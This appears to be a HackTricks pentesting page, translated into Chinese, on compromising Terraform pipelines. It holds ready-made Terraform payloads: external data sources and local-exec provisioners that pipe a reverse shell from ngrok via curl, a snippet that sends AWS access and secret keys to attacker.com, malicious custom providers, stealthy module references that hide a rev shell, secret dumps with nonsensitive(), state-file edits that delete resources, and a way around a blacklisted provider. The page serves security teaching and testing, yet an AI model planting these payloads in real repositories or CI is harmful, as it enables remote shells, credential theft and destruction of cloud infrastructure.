Terraform Security

支持 HackTricks

基本信息

来自文档:

HashiCorp Terraform 是一个 基础设施即代码工具,允许您在可版本化、可重用和共享的人类可读配置文件中定义 云和本地资源。然后,您可以使用一致的工作流程来管理和管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。

Terraform 如何工作?

Terraform 通过其应用程序编程接口 (APIs) 创建和管理云平台和其他服务上的资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务一起工作。

HashiCorp 和 Terraform 社区已经编写了 超过 1700 个提供程序 来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在 Terraform 注册表 上找到所有公开可用的提供程序,包括亚马逊网络服务 (AWS)、Azure、谷歌云平台 (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。

核心 Terraform 工作流程由三个阶段组成:

  • 写入: 您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。

  • 计划: Terraform 创建一个执行计划,描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。

  • 应用: 在批准后,Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量,Terraform 将在扩展虚拟机之前重新创建 VPC。

Terraform 实验室

只需在您的计算机上安装 terraform。

这里有一个 指南,这里有 下载 terraform 的最佳方式

Terraform 中的 RCE

Terraform 没有暴露网页或网络服务的平台,我们可以枚举,因此,妥协 terraform 的唯一方法是 能够添加/修改 terraform 配置文件

然而,terraform 是一个 非常敏感的组件,因为它将拥有 特权访问 不同位置,以便正常工作。

攻击者能够妥协运行 terraform 的系统的主要方法是 妥协存储 terraform 配置的仓库,因为在某些时候它们将被 解释

实际上,市面上有一些解决方案 在创建 PR 后自动执行 terraform plan/apply,例如 Atlantis

如果您能够妥协一个 terraform 文件,有不同的方法可以在某人执行 terraform planterraform apply 时执行 RCE。

Terraform plan

Terraform plan 是 terraform 中 使用最频繁的命令,开发人员/使用 terraform 的解决方案一直在调用它,因此,获得 RCE 的最简单方法是确保您毒化一个 terraform 配置文件,该文件将在 terraform plan 中执行任意命令。

使用外部提供程序

Terraform 提供了 external provider,它提供了一种在 Terraform 和外部程序之间进行接口的方法。您可以使用 external 数据源在 plan 期间运行任意代码。

在 terraform 配置文件中注入如下内容将在执行 terraform plan 时执行反向 shell:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

使用自定义提供程序

攻击者可以将一个 custom provider 发送到 Terraform Registry,然后将其添加到功能分支中的 Terraform 代码中 (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

提供程序在 init 中下载,并将在执行 plan 时运行恶意代码

您可以在 https://github.com/rung/terraform-provider-cmdexec 找到一个示例

使用外部引用

上述两种选项都很有用,但不够隐蔽(第二种比第一种更隐蔽,但更复杂)。您可以通过遵循以下建议以更隐蔽的方式执行此攻击:

  • 不要直接将反向 shell 添加到 terraform 文件中,您可以加载一个包含反向 shell 的外部资源

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

您可以在 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules 找到 rev shell 代码。

  • 在外部资源中,使用 ref 功能来隐藏 repo 中某个分支的 terraform rev shell 代码,类似于: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

将执行 Terraform apply 以应用所有更改,您也可以利用它通过注入 一个恶意的 Terraform 文件与 local-exec. 您只需确保一些有效载荷像以下内容结束于 main.tf 文件:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

遵循前一种技术的建议,以更隐蔽的方式使用外部引用执行此攻击。

Secrets Dumps

您可以通过运行 terraform apply转储 terraform 使用的秘密值,方法是向 terraform 文件中添加如下内容:

output "dotoken" {
value = nonsensitive(var.do_token)
}

滥用 Terraform 状态文件

如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码,这项研究 提供了一些有趣的选项来利用该文件:

删除资源

有两种方法可以销毁资源:

  1. 在状态文件中插入一个随机名称的资源,指向要销毁的真实资源

因为 terraform 会看到该资源不应该存在,所以它会销毁它(根据指示的真实资源 ID)。来自上一页的示例:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. 以一种无法更新的方式修改要删除的资源(这样它将被删除并重新创建)

对于 EC2 实例,修改实例的类型足以使 terraform 删除并重新创建它。

RCE

还可以 创建自定义提供程序,并仅替换 terraform 状态文件中的一个提供程序为恶意提供程序,或添加一个空资源与恶意提供程序。原始研究的示例:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

替换黑名单提供者

如果您遇到 hashicorp/external 被列入黑名单的情况,可以通过以下方式重新实现 external 提供者。注意:我们使用由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external 提供者的分支。您也可以发布自己的分支或重新实现。

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

然后您可以像往常一样使用 external

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

审计工具

  • tfsec: tfsec 使用静态分析您的 terraform 代码来发现潜在的错误配置。

  • terascan: Terrascan 是一个用于基础设施即代码的静态代码分析器。

参考资料

支持 HackTricks

Last updated